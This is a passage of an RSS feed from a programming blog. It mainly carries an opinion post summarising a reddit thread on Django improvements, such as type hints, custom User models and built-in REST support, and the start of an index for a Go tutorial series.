      <summary>&lt;p&gt;Django&amp;rsquo;s ORM is quite useful and versatile, it can perform most of the common SQL operations, such as filtering, partitioning, joins or sorting information, creating aliases, but it also has its limitations, especially when combined with subqueries, today I&amp;rsquo;ll tell you about one of its limitations and how to solve it.&lt;/p&gt;&#xA;&lt;p&gt;Despite its few weaknesses, its ORM is one of the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;reasons why you should use Django&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-annotate-and-subqueries-a-performance-problem&#34;&gt;Django annotate and subqueries, a performance problem&lt;/h2&gt;&#xA;&lt;p&gt;The Django annotate function, which I already told you about in a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/&#34;&gt;post where I explain the differences between annotate and aggregate&lt;/a&gt;&#xA; in Django, is used to add information to a SQL query, this information can be some data&amp;rsquo;s average, a sum or anything else you want, the thing is that, once you start using subqueries in annotate, things can get really messy.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to improve Django Framework?</title>
      <link>https://coffeebytes.dev/en/django/how-to-improve-django-framework/</link>
      <pubDate>Sun, 23 Jun 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/how-to-improve-django-framework/</guid>
      
      <category>django</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;On June 21, 2024 I started a thread on reddit with the following question: &amp;ldquo;What would you improve about Django framework?&amp;rdquo;. The response from the community was immediate and the conversation quickly filled up with suggestions on how to improve Django framework, ranging from modest to quite radical. I summarize the results below.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/20yearold.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/20yearold.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTMX Meme&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;HTMX meme&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;would-type-hints-improve-django-framework&#34;&gt;Would type hints improve Django Framework?&lt;/h2&gt;&#xA;&lt;p&gt;This was the comment that received the most support from the community. Although Python already has optional Type Hints since version 3.5, it seems that implementing them for the purpose of modernizing Django Framework does not seem to be a priority.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/comment-with-more-support-on-how-to-improve-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/comment-with-more-support-on-how-to-improve-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comment with more support on how to improve Django&#34; width=&#34;592&#34; height=&#34;140&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Comment with more support on how to improve Django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The popularity of type hints is such that some users who consider them a significant improvement to the framework have developed &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/typeddjango/django-stubs&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;an external library, called django-stubs&lt;/a&gt;&#xA;, which aims to revamp the Django Framework with type hints.&lt;/p&gt;&#xA;&lt;h3 id=&#34;type-hints-have-already-been-evaluated-and-rejected&#34;&gt;Type hints have already been evaluated and rejected.&lt;/h3&gt;&#xA;&lt;p&gt;However, according to reddit users, there is not much interest from the code maintainers to incorporate these changes as part of the code. There have even been proposals to incorporate &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/django/deps/pull/65&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;type hints into the official Django repository&lt;/a&gt;&#xA;, but these changes have been dismissed, probably because they consider the typing to be a contradiction to the nature of Python as a dynamic language.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    In case you don&amp;#39;t know what type hints are, type hints allow you to declare the type of a variable, argument, or the return value of a function to make it easier to identify bugs or unwanted behavior. Think of Python type hints as Python&amp;#39;s Typescript, or as optional static typing in your favourite compiled language, such as C, C&amp;#43;&amp;#43;, or Rust.&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;use-a-custom-user-model-instead-of-the-normal-user-model&#34;&gt;Use a custom User model instead of the normal User model.&lt;/h2&gt;&#xA;&lt;p&gt;The second comment that received the most support states that customizing Django&amp;rsquo;s User model is quite complicated, especially if done mid-project, more specifically changing Django&amp;rsquo;s default login type from user to email.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/custom-user-model-to-improve-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/how-to-improve-django-framework/images/custom-user-model-to-improve-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Second comment with most support on how to improve Django&#34; width=&#34;793&#34; height=&#34;136&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Second comment with most support on how to improve Django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Although there are multiple ways to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/how-to-create-a-custom-manager-django/&#34;&gt;customize the User model in Django&lt;/a&gt;&#xA;, such as using a proxy model, or inheriting from &lt;em&gt;AbstractUser&lt;/em&gt;, some users find that solution a little bit &amp;ldquo;hackish&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &#xA;    &#xA;    In case you don&amp;#39;t know, Django uses by default the *username* from its *User* model, in combination with the password, to log in a user. But the current trend in web development is to use email directly.&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;rest-support-in-django-without-third-party-libraries&#34;&gt;REST support in Django without third-party libraries.&lt;/h2&gt;&#xA;&lt;p&gt;Despite the fact that Django has one of the best libraries to create an application that meets the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/&#34;&gt;basic features of a REST API&lt;/a&gt;&#xA;; yes, I&amp;rsquo;m talking about DRF (Django Rest Framework). The reddit users consider that Django should provide support for REST APIs &amp;ldquo;out of the box&amp;rdquo;, as a native part of the framework.&lt;/p&gt;&#xA;&lt;p&gt;The above seems to me an interesting proposal but I also understand that, despite the maturity of REST, giving it preference over the rest of APIs, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/fast-and-performant-apis-using-go-lang-grpc-and-protobuffers/&#34;&gt;the modern Google gRPC&lt;/a&gt;&#xA;, SOAP, or some API that has not yet emerged, can be considered as a rather risky step by the Django committee. Yes, even if there are complete REST-based libraries, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;FastAPI&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;read-environment-variables-in-django-without-third-party-libraries&#34;&gt;Read environment variables in Django without third-party libraries&lt;/h2&gt;&#xA;&lt;p&gt;Django can read environment variables directly using Python&amp;rsquo;s &lt;em&gt;os&lt;/em&gt; library, but other libraries, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-environ.readthedocs.io/en/latest/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-environ&lt;/a&gt;&#xA;, have been developed to provide a more robust solution, where it reads directly from an &lt;em&gt;.env&lt;/em&gt; file and where the absence of an environment variable will crash the application, ensuring that a Django application cannot start if even one environment variable is missing, which is what I imagine the developers of this popular forum want.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;VARIABLE&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;other-frameworks-that-do-read-environment-variables&#34;&gt;Other frameworks that do read environment variables&lt;/h3&gt;&#xA;&lt;p&gt;Contrary to Django, frameworks like Nextjs load environment variables by default and even allow you to make some of them public with the &lt;em&gt;NEXT_PUBLIC_&lt;/em&gt; prefix, but in the case of Django you need to load the required variables manually or use a third-party library.&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-native-integration-with-frontend&#34;&gt;Django native integration with frontend&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s no secret that the frontend has received a gigantic boost in recent years, libraries like React, Vue, Svelte and others have taken a remarkable prominence in recent years, completely changing the paradigm of client-side development. Django has been agnostic about the separation between Backend and Frontend, probably because &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;Django is a monolithic framework&lt;/a&gt;&#xA; (and I mean that in a non-pejorative way).&lt;/p&gt;&#xA;&lt;p&gt;I guess some users consider that Django should not lag behind and should provide integration options with some frontend libraries to favor the reactivity of the applications, as Nextjs does for some time, since it allows you to select the frontend library to work with and even takes care of the minification and tree-shaking of the code through Webpack or its experimental compiler written in Rust.&lt;/p&gt;&#xA;&lt;h3 id=&#34;improving-django-with-htmx&#34;&gt;Improving Django with HTMX&lt;/h3&gt;&#xA;&lt;p&gt;It seems to me that Django already does an excellent job with its template system and that it combines perfectly with &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/django-and-htmx-modern-web-apps-without-writing-js/&#34;&gt;libraries like HTMX&lt;/a&gt;&#xA;, to take advantage of all the power of hypertext without the need to incorporate Javascript to the project.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/original.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/original.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Javascript delusion according to HTMX&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Javascript delusion according to HTMX&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Without more to add I leave the link to the discussion if you want to see the rest of &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/django/comments/1dlj5n6/what_would_you_improve_about_django_framework/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;suggestions on how to improve Django Framework.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-suggestions-on-how-to-improve-django-framework&#34;&gt;Other suggestions on how to improve Django framework&lt;/h2&gt;&#xA;&lt;p&gt;Among the other suggestions I would like to highlight the following, as they received minor support or were mentioned multiple times throughout the thread:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/fix-slow-queries-in-django-when-using-annotate-and-subqueries/&#34;&gt;support for CTEs&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Better form handling&lt;/li&gt;&#xA;&lt;li&gt;Better static content handling with emphasis on most popular frontend frameworks&lt;/li&gt;&#xA;&lt;li&gt;Out of the box support for queues&lt;/li&gt;&#xA;&lt;li&gt;Hot reload of the browser&lt;/li&gt;&#xA;&lt;li&gt;Basic CRUD boilerplate generator&lt;/li&gt;&#xA;&lt;li&gt;Models&amp;rsquo; auto prefetch of their related models.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;suggestions-that-ended-up-being-third-party-libraries&#34;&gt;Suggestions that ended up being third party libraries&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/typeddjango/django-stubs/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Static types and type inference for Django framework&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.iommi.rocks/en/latest/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Form handling for Django with steroids&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://noumenal.es/neapolitan/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;CRUD capabilities for Django out of the box&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;On June 21, 2024 I started a thread on reddit with the following question: &amp;ldquo;What would you improve about Django framework?&amp;rdquo;. The response from the community was immediate and the conversation quickly filled up with suggestions on how to improve Django framework, ranging from modest to quite radical. I summarize the results below.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://htmx.org/img/memes/20yearold.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://htmx.org/img/memes/20yearold.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;HTMX Meme&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;HTMX meme&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;would-type-hints-improve-django-framework&#34;&gt;Would type hints improve Django Framework?&lt;/h2&gt;&#xA;&lt;p&gt;This was the comment that received the most support from the community. Although Python already has optional Type Hints since version 3.5, it seems that implementing them for the purpose of modernizing Django Framework does not seem to be a priority.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go Programming Language Tutorial</title>
      <link>https://coffeebytes.dev/en/pages/go-programming-language-tutorial/</link>
      <pubDate>Sat, 08 Jun 2024 14:10:45 -0600</pubDate>
      <guid>https://coffeebytes.dev/en/pages/go-programming-language-tutorial/</guid>
      
      
      
      
      
      <content:encoded>&lt;p&gt;I wrote a series of entries trying to serve as a guide an introduction to learn the Go programming language. This tutorial requires you to know at least the basis of programming, so it&amp;rsquo;s probably a good idea to read this only if you&amp;rsquo;re learning Go as your second or third programming language. This content goes from Go&amp;rsquo;s basic syntax to advances uses as signal catching or containerization.&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-language-introduction-and-basic-syntax&#34;&gt;Go language introduction and Basic Syntax&lt;/h2&gt;&#xA;&lt;p&gt;Introduction to the Go programming language, native data types, variables, the controversy around this language, the good, the bad, the ugly and even a glimpse to its popular, and sometimes hated, mascot.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;&#xA;  &#xA;    &#xA;      Go, coding language, introduction to variables and data types &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;How to create go functions and pass arguments to them, along with the basis of the fmt package used to print text on the screen&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-functions-arguments-and-the-fmt-package/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: functions, arguments and the fmt package &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Master the different type of loops that exist in go, learn how to use flow control to execute your code conditionally and learn about they break, continue and defer clauses.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-cycles-or-loops-for-break-continue-defer-if-and-else/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: loops for, break, continue, defer, if and else &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Create array and slices and know their differences and how to iterate over them correctly using range.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-slices-and-arrays-basic-characteristics-and-most-common-uses/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: slices and arrays, basic characteristics and most common uses &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Learn how do map or dictionaries work internally, the different ways to create them and how to iterate over them using range.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-maps-or-dictionaries/&#34;&gt;&#xA;  &#xA;    &#xA;      Golang maps or dictionaries &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Read about the main differences that exist between string, runes and bytes in go, how they work internally and their main related methods.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/golang-runes-strings-and-bytes-explained/&#34;&gt;&#xA;  &#xA;    &#xA;      Golang runes strings and bytes explained &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-programming-language-tutorial-object-oriented-programming&#34;&gt;Go Programming Language Tutorial: Object oriented programming&lt;/h2&gt;&#xA;&lt;p&gt;Go doesn&amp;rsquo;t have classes, but you can emulate OOP features (polimorfism, inheritance and encapsulation) using go structs.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-structs-inheritance-polymorphism-and-encapsulation/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: Structs, inheritance, polymorphism and encapsulation &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;How to handle and import and reference packages and modules in go.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: package import and module management &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;go-programming-language-tutorial-concurrency-and-corroutines&#34;&gt;Go Programming Language Tutorial: Concurrency and Corroutines&lt;/h2&gt;&#xA;&lt;p&gt;The feature that makes go stand out: concurrency and goroutines, learn how to create and handle them.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-introduction-to-goroutines-and-concurrency/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: introduction to goroutines and concurrency &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Here I explain you how to communicate goroutines through channels and the main principles to take care of when working with concurrent code.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-use-of-channels-to-communicate-goroutines/&#34;&gt;&#xA;  &#xA;    &#xA;      Go: use of channels to communicate goroutines &#xA;    &#xA;  &#xA;&#xA;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Understand the concept of deadlocks in the context of working with goroutines, how to avoid them and what causes this problem.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; 